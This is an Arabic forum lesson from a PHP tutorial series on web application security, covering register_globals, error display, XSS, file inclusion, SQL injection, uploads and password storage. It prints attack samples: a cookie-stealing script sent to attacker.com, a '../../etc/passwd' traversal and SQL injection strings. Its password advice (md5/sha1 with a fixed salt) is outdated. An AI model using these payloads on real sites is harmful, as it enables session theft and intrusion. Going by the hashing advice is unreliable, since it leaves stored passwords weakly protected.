• 0
linux web man

الدرس الخامس عشر : الحماية في تطبيقات php

سؤال

السلام عليكم و رحمة الله وبركاته .
هذا الدرس من سلسلة الدروس التالية لتعلم لغة php .
الحماية في تطبيقات php .


خاصية Register Globals :
في السابق كانت هذه الخاصية تُمكن برنامجك من استخدام متغيرات تحمل نفس اسم الحقول الموجودة في نماذج HTML (في الواقع ليس فقط حقول HTML وانما اي بيانات تُمرر عن طريق GET أو POST والكعكات Cookies) . فلو افترضنا صحفة HTML التالية التي تحوي على مربع نص يحمل الاسم 'name' :

<!DOCTYPE html><html>    <head>        <title>register_globals example</title>    </head>    <body>        <form action="form.php">            <input type="text" name="name">            <br>            <input type="submit">        </form>    </body></html>

فكان بامكانك طباعة قيمة حقل مربع النص السابق مباشرة عن طريق المتغير $name دون الحاجة الى استخدام المصفوفة $_POST أو $_GET , ملف form.php :

<?phpecho $name;?>

الطريقة السابقة تكون صحيحة عندما تكون قيمة register_globals في ملف php.ini تساوي "on" وتأني هذه الميزة غير مُفعلة افتراضيا ً في php 4.2.0 وتمت ازالتها في اصدار php 5.4 .
تشكل ميزة Register Globals أخطار أمنية وخصوصا ً عندما لا نقوم بتهيئة المتغيرات قبل استخدامها كما في المثال التالي :

<?phpif($_GET['name'] == 'ahmad' AND $_GET['pass'] == 'pass'){    $admin = true;}if($admin == true){    echo 'welcome Admin';}else{    echo 'you are NOT the admin';}?>

وبفرض ان اسم المستخدم وكلمة المرور مُخزنة في قواعد البيانات وليس من السهل معرفتها ; فمن الممكن أن يقوم المهاجم بالوصول الى الصفحة عبر الرابط

index.php?admin=1

وبسبب ميزة Register Globals فإن قيمة المُتغير $admin ستكون دائما ً true ويحصل بموجبها المهاجم على صلاحيات المدير بكل بساطة ! .
ولحل هذه المُشكلة يوجد خياران : الخيار الأول هو تعطيل ميزة Register Globals في ملف php.ini (ومعظم -إن لم يكن جميع- شركات الاستضافة تُعطل هذه الميزة) , وأما الحل الثاني فهو تهيئة جميع المتغيرات قبل استخدامها , فيمكن تهيئة المتغير $admin في المثال السابق للتخلص من هذه المشكلة :

<?php$admin = false;if($_GET['name'] == 'ahmad' AND $_GET['pass'] == 'pass'){    $admin = true;}if($admin == true){    echo 'welcome Admin';}else{    echo 'you are NOT the admin';}?>


اظهار الأخطاء Error Reporting :
لا يمكن اتمام كتابة برنامج ما بسلام دون وقوع أخطاء , فمن المفيد جدا ً للمطور اظهار هذه الأخطاء وتصيحيها ويُفضل عند تطوير برنامج ما أن تُوضع قيمة الراية "error_reporting" مساوية ً للقيمة "E_ALL | E_STRICT" لاظهار جميع الأخطاء بالإضافة الى ملاحظات حول الكود (مثلا ً تظهر رسالة notice عند استخدام متغير لم تقم بتهيئته ... ) , لكن بعد الانتهاء من الموقع وتشغيله على على الخادم بشكل نهائي يجب ايقاف اظهار الاخطاء لأن ذلك قد يكشف بعض تفاصيل الموقع ويعرضه للاختراق (اذكر ان موقع yahoo! الشهير تعرض للاختراق بسبب ذلك) فمن المفيد تغيير قيمة "display_errors" الى القيمة "off" لمنع اظهار الاخطاء في المتصفح ,لكن في حال اردت الاطلاع على الاخطاء في حال وجودها يمكنك تفعيل تسجيل الاخطاء الى ملف عن طريق اسناد القيمة "on" الى الراية "log_errors" وتحديد مسار ملف التسجيل في الراية "error_log" . ويجدر بالذكر أن الرايات "error_reporting" و "display_errors"و"log_errors" بالاضافة الى "error_log" من النوع "PHP_INI_ALL" اي يمكن تحديد قيمتها في ملف php.ini أو ملف "httpd.conf" او ملفات ".htaccess" او حتى في زمن التنفيذ عن طريق الدالة ini_set.

التحقق من ادخال المستخدم :
القاعدة الشهيرة "لا تثق ابدا ً بمدخلات المستخدم" تنطبق تماما ً على لغة php . فيجب علينا -كمبرمجين- وضع جميع الاحتمالات لمدخلات المستخدم والاستجابة وفقا ً لها . فمثلا ً اذا اردنا من المستخدم تزويد الموقع ببريده الالكتروني فعلى الأقل يجب التحقق من ان طول السلسة النصية لا يساوي الصفر , أما اذا اردنا التحقق من صحة بريده الاكتروني يمكننا ذلك باستخدام التعابير النظامية كما في النمط التالي :

/^([a-zA-Z0-9_])[email protected]([a-zA-Z0-9_])+(\.[a-zA-Z0-9_]+)+$/

وقد تم شرح ذلك بالتفصيل في درس السلاسل النصية و التعابير النظامية .

ثغرات XSS Cross Site Scripting :
ببساطة هي ايجاد المهاجم ثغرة في نظام التحقق في برنامجك لحقن أكواد javascript (أو غيرها) تقوم بأفعال خبيثة كالحصول على الكعكات (cookies) التي قام موقعك بتخزينها على جهاز المستخدم , فمثلا ً لو كان برامجك يسمح للمستخدمين بكتابة تعليقات ولم تقم بفلترة مُدخلات المستخدمين ; فيتمكن المهاجم من كتابة الكود البسيط التالي في تعليق :

<script type="text/javascript">    document.location = "http://attacker.com/index.php?cookie=" + document.cookie;</script>

لذا يجب ازالة (أو استبدال) وسوم HTML لتجنب حدوث ثغرات XSS وذلك عن طريق الدوال strip_tags (التي تقوم بحذف جميع وسوم HTML أو php ) أو htmlspecialchars (التي تستبدل عدد من ما يسمى entities بمكافئاتها) .
(تم الحديث عن الفروق بين htmlspecialchars و htmlentities وغيرها من المواضيع في درس التعامل مع السلاسل النصية و التعابير النظامية) .

تضمين الملفات :
يمكن للغة php تضمين ملفات اخرى سواء ً أكانت ملفات php أم ملفات بصيغة اخرى (يتم اظهارها مباشرة في المتصفح) . ومن المفضل التقليل قدر الامكان من استخدام مدخلات المستخدم في تضمين الملفات باستخدام include أو require . فمثلا ً كود php التالي الذي يقوم بتضمين ملف خاص بأحد المستخدمين :

<?phpinclude "users/{$_GET['user']}";?>

ماذا لو تم تحديد القيمة "../../etc/passwd" كقيمة $_GET['user'] ؟! . وفي حال تم تحديد لاحقة للملف الذي سوف يتم تضمينه فإن ذلك لا يؤدي لزيادة الأمان :

<?phpinclude "users/{$_GET['user']}.php";?>

فيمكن تجاوز الاحقة بكل بساطة عن طريق اضافة ما يُسمى null byte الى نهاية الجملة "../../etc/passwd" , وللتخلص من هذه التعقيدات ; يُفضل دائما ً استخدام الدالة basename عند الحاجة الى استخدام مدخلات المستخدم في مسارات الملفات .

حقن تعليمات SQL :
يعتبر حقن تعليمات SQL من أشهر طرق اختراق قواعد البيانات . فمثلا لو لدينا تعليمة sql التالية التي تستخدم للتحقق من اسم المستخدم و كلمة المرور :

$query = "      SELECT name,             age      FROM users      WHERE name = '{$_GET['name']}'      AND passwd = '{$_GET['passwd']}'";

ماذا لو قام المستخدم بادخال اسم المستخدم بالطريقة التالية : "admin'--" الرمز -- هو رمز التعليق في تعليمات sql , أو قام بادخال كلمة المرور على الشكل "pass' OR 1=1" فهذا يجعل الشرط محقق دائما ً (يمكن قراءة موضوع عن حقن تعليمات sql لاخ Xacker )
ويوجد عدد من الطرق التخلص من هذه المشكلة وبشكل عام تُساعد الدالة mysqli_real_escape_string على التقليل من مخاطر هذا النوع من الهجوم (وفي حال لم يتوفر لخادم قواعد البيانات التي تستخدمها مثل الدالة السابقة يمكنك استخدام الدالة addslashes ), ومن الجيد استخدام php للتحقق من كلمة المرور بدلا ً من القيام بذلك مباشرة في SQL .

عدم استخدام القيمة $_FILES[‘file’][‘type’] للتحقق من نوع الملف المرفوع :
هنالك خطأ شائع باستخدام $_FILES[‘file’][‘type’] للتحقق من نوع الملف حيث يعبر عن قيمة ما يُسمى MIME type والتي يمكن تغييرها عن طريق HTTP Request , فعوضا ً عن ذلك نقوم بالتحقق من نوع الملف عن طريق امتداده ( باستخدام الدالة explode وبالطريقة التي تم شرحها في درس التعامل مع الملفات ) . و تغيير اسم الملف وجعله اسماً عشوائياً و تخزين الاسم الأصلي للملف في قاعدة البيانات مع ربطه مع الاسم الجديد .

استخدام احدى دوال التشفير عند تخزين كلمات المرور في قاعدة البيانات :
تخزين كلمات المرور الخاصة بالمستخدمين كما هي بدون تشفير يُسهل الكشف عن حسابات المستخدمين في حال تعرضت قاعدة البيانات للاختراق . ولهذه المهمة نستخدم إحدى الدالتين md5 او sh1 اللتان يمرر اليهما النص المراد تشفيره كوسيط وحيد . (ويوجد عدد كبير من دوال التشفير الموجودة في مكتبة mcrypt ويمكنك الاطلاع عليها على الرابط التالي)
الدالتين md5 , sh1 تقومان بشفير السلسلة النصية المُمررة اليهم بطريق واحد أي أن العبارة المشفرة لا يمكن ابداً إعادتها إلى حالتها السابقة قبل التشفير .
لكن المخترقين يقومون باستخدام طريقة brute-force حيث يقومون بتجرية عدد كبير من كلمات المرور ( إما عن طريق كلمات من القاموس أو بتجربة جميع الأحرف)
ويوجد أيضاً جداول تحوي على سلاسل نصية بأطوال مختلفة مرتبطة بشفرة md5 أو sh1 وتسمى بجداول rainbow ويكون البحث فيها أسرع بكثير لكنها كبير الجحم .
وعادةً نقوم بإضافة كلمة عشوائية (تُسمى salt) قبل أو بعد ( أو قبل وبعد ) كلمة المرور الذي يؤدي إلى زيادة طولها وتصعيب المهمة على المُهاجم كما في المثال التالي :

<?php$salt = '[email protected]$!#dsadsf234r5dfsA';$password = md5($salt . $_GET['password'].$salt);echo $password;?>


حجب حساب المستخدم عند تجاوز عدد محاولات دخوله عددا ً معينا ً :
فمعظم الخدمات الشهيرة تقوم بحجب حساب المستخدم لمدة 24 ساعة عند تجاوز عدد المحاولات الخاطئة لتسجيل الدخول 10 مرات لمنع اكتشاف كلمة المرور بطريقة brute-force .
المشاكل الامنية المُتعلقة بالاستضافة المشتركة :
عادة , تقوم شركات الاستضافة باستضافة عدة مواقع على نفس الخادم , هذا الأمر يُعرض تطبيق php الى مخاطر إضافية , فكما تعلم فإن المستخدم nobody هو المستخدم الذي يقوم بتنفيذ اكواد php , فيمكن كتابة برامج php بسيطة لقراءة الكود المصدري لموقعك , وبسبب ذلك فإن ملف config.php الذي يحوي بيانات الاتصال بقاعدة البيانات يُمكن قراءته من احد المستخدمين في نفس الخادم !! , لذا يُفضل تخزين جميع المعلومات الخاصة بالموقع في قاعدة البيانات وتخزين اسم مستخدم وكلمة مرور قاعدة البيانات في ملف منفصل وليكن محتواه كالتالي :

SetEnv USERNAME "user"SetEnv PASSWORD "pass"

و بالطبع يجب تضمين هذا الملف باضافة السطر التالي الى ملف الاعدادت httpd.conf :

Include "/config_path/config"

وعدم اعطاء الملف السابق صلاحيات القراءة لأي مستخدم , مما يجعل قراءته متعذره على اي مستخدم باستثناء root , وبما ان خادم apache يتم تشغيله بصلاحيات المدير فهو قادر على قراءة ملف الاعدادات السابق .
يمكن الوصول الى المعلومات المُخزنة فيه عن طريق المصفوفة $_SERVER كما يلي :

<?phpecho $_SERVER['USERNAME']; //prints userecho $_SERVER['PASSWORD']; //prints pass?>

وكذلك الأمر بالنسبة الى الجلسات حيث غالبا ً يتم تخزينها في مجلد /tmp , ويُفضل استخدام قواعد البيانات لتخزينها عن طريق الدالة session_set_save_handler كما هو مشروح في موقع php.net .
بالطبع موضوع الحماية ليس بالموضوع السهل ويتطلب دراية واسعة بمختلف التقنيات وكان هذا الدرس بداية و مقدمة عن حماية تطبيقات الويب و يوجد عدد من الكتب تتحدث عن هذا المجال وأفضلها كتاب Hacking Exposed : web application security الذي يتحدث باستفاضة عن هذا الموضوع بالإضافة الى كتاب SQL Injection Attacks and Defense الذي يتحدث عن طريق الحماية من حقن تعليمات SQL وفي حال وجود اي معلومة مغلوطة أرجو التنبيه لها :) .

 

الدرس السابق | الإنتقال للموضوع الأساسي

تم تعديل بواسطه Abd Allatif
2

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

0 إجابة على هذا السؤال .

لاتوجد إجابات على هذا السؤال حتى الآن .

من فضلك سجل دخول لتتمكن من التعليق

ستتمكن من اضافه تعليقات بعد التسجيل



سجل دخولك الان

  • يستعرض القسم حالياً   0 members

    لا يوجد أعضاء مسجلين يشاهدون هذه الصفحة .